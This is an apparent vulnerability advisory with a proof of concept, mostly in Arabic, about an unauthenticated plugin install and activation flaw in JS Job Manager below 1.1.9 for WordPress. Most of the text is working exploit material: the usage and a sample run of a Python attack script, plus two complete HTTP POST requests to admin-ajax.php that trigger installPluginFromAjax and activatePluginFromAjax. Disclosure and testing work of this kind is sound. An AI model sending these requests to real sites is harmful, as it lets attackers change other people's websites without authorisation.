
JS Job Manager < 1.1.9 - تثبيت/تفعيل إضافات تعسفي بدون مصادقة
JS Job Manager < 1.1.9 - تثبيت/تفعيل إضافات عشوائي بدون مصادقة
إجراء AJAX الخاص بـ jsjobs_ajax المتاح لكل من المستخدمين الموثقين وغير الموثقين لا يتحقق بشكل صحيح من الصلاحيات وفحوصات CSRF، خاصة عند استخدام installPluginFromAjax و activatePluginFromAjax، مما قد يسمح للمهاجمين غير الموثقين بتثبيت إضافات عشوائية من مستودع WordPress وتفعيلها (مع بعض القيود).
لا يوجد تحكم في إصدار الإضافة، لذا سيتم تثبيت أحدث إصدار من الإضافة.
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
لتثبيت إضافة:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
لتفعيل إضافة (يوجد قيد هنا، حيث يجب أن تحتوي الإضافة على ملف <slug>/<slug>.php، وإلا لن يتم تفعيلها):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>